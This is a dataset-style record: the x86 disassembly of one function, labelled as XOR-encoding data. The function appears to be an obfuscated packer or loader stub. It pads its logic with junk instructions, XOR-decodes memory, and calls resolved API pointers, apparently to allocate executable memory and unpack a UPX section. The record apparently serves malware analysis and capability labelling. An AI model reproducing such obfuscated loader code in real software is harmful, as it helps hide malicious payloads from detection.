Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xf9c4ae65
add edi, 1
and ecx, ecx
popal
add ecx, 0x7f8dd130
sub ecx, edi
sub edi, ecx
mov edi, 0
mov esi, edx
inc ebx
dec ebx
mov eax, esi
sub ebx, ecx
sub ecx, 0x43dfeab9
mov edx, eax
add ebx, ecx
mov ecx, 0x4f58f24e
add ebx, ecx
inc edi
not ebx
and ebx, ebx
not ebx
cmp edi, 0x100f09c
jne 0xa789ca
sub ecx, ebx
mov ebx, ecx
mov ecx, 0xef981646
inc ecx
mov edi, 0x1d2f7145
mov edi, 0xa78796
and esi, eax
mov ebx, esi
mov ecx, 0xa7898a
sub esi, eax
sub esi, 1
add ebx, 0x1b5cda1b
mov edx, dword [edi]
or esi, ebx
sub ebx, 1
and edx, 0xff
sub eax, ebx
and eax, ebx
sub eax, 0xcd2a516d
xor dword [ecx], edx
and eax, eax
add eax, 0x68f0889b
inc esi
add ecx, 1
not esi
sub ebx, 0xac98e397
inc edi
not esi
sub ebx, esi
mov ebx, 0x9db5a12b
cmp ecx, entry0
jl 0xa78a21
add ebx, 0x593b0b76
mov eax, ebx
add esi, ebx
sub eax, ebx
sub ebx, 0xfade509c
add esi, esi
sub edi, 1
dec ecx
sub ecx, 0xc09acbb
mov edx, 0xa7898e
dec esi
add ebx, esi
mov edx, dword [edx]
add ebx, ecx
sub esi, 0xffad9f0f
mov edx, dword [edx]
add esi, ecx
or edi, esi
add edi, ecx
push edx
inc edi
dec edi
mov edx, 0xa7898a
mov edi, ebx
mov edi, 0x409856c6
sub ecx, 0x59bf6d14
mov edx, dword [edx]
dec ebx
not ecx
sub ecx, edi
mov edx, dword [edx]
sub ecx, ebx
add edi, 0xa9b6b3fb
dec edi
push 0xa78992
mov ecx, 0xdd1d145c
and ebx, edi
call edx
mov ecx, 0xbee668b
not ecx
inc ecx
pop edx
add edi, 0xd99b040
sub ebx, 0xf9d448e1
not esi
push 0xa7899f
add ecx, ebx
add ecx, 0xde9b2cab
sub esp, 4
mov dword [esp], eax
and ebx, ebx
not ecx
mov esi, 0xc89cb64b
call edx
inc esi
not ecx
inc esi
push 0x40
not esi
add edi, 0x1a4343
not ebx
sub esp, 4
mov dword [esp], 0x3000
mov edi, ebx
dec edi
push 0x20000fea
mov ecx, 0xc2564922
mov edi, ebx
push 0
not ecx
and ecx, ecx
or ecx, ecx
call eax
and esi, ebx
sub ecx, ebx
add eax, 0x20000f2b
sub ebx, ecx
not esi
mov edx, 0x990bf38a
add ecx, edi
sub ecx, edi
mov edi, ebx
mov dword [eax], edx
sub ebx, 1
add edi, 1
mov edx, dword [eax]
inc edi
sub esi, 0x801741e1
not ebx
cmp edx, 0x990bf38a
je 0xa78b89
mov ecx, 0
mov dword [ecx], eax
mov edi, ebx
not ecx
or esi, edi
mov ebx, edi
dec ebx
sub ecx, edi
not ecx
sub edi, ecx
mov esi, section.UPX1
not edi
add edi, 0xe089703e
mov ebx, 0xa78795
and edi, ecx
mov ecx, 0xe2c222b0
mov eax, 0
mov ecx, edi
add ecx, 1
mov ecx, 0xa5c3c8fa
mov edx, 0xa78796
and edi, edi
dec edi
inc ecx
lea edx, [edx + eax]
sub ecx, edi
add edi, ecx
mov edx, dword [edx]
add edi, edi
sub ecx, 0x97164488
mov edi, ecx
and edx, 0xff
sub edi, ecx
and ecx, edi
add edi, 1
add eax, 1
mov edi, 0x746074c6
inc edi
cmp eax, 0x1f4
jne 0xa78c08
mov eax, 0
and ecx, edi
not ecx
add edi, edi
and edi, ecx
mov edi, 0x17dbb610
xor dword [esi], edx
mov edi, 0xad08cd9c
mov ecx, edi
add esi, 2
sub edi, ecx
not edi
and ecx, edi
cmp esi, ebx
jl 0xa78bc3
and ecx, edi
add ecx, ecx
sub edi, 0xbdd88249
sub edi, 0xc8323ec9
not edi
mov esi, section.UPX1
add eax, edi
mov edi, eax
or edi, eax
mov ebx, section.UPX1
inc eax
mov eax, 0xfdd87f1
sub eax, 0xaf261ac1
mov ecx, 0xa78795
and eax, edi
add eax, 0x325da467
mov edx, 0
mov edi, eax
add edi, eax
mov eax, 0x43a434fe
mov dl, byte [ebx]
and edi, eax
and eax, edi
mov byte [esi], dl
not eax
not edi
add esi, 1
and eax, edi
dec eax
add ebx, 2
sub edi, 0x72ae5d26
sub eax, edi
cmp ebx, ecx
jle 0xa78c7b
inc edi
mov edi, eax
and ecx, edi
inc ecx
dec edi
sub esp, 4
mov dword [esp], 0x8dc6a0
dec ecx
mov ecx, edi
ret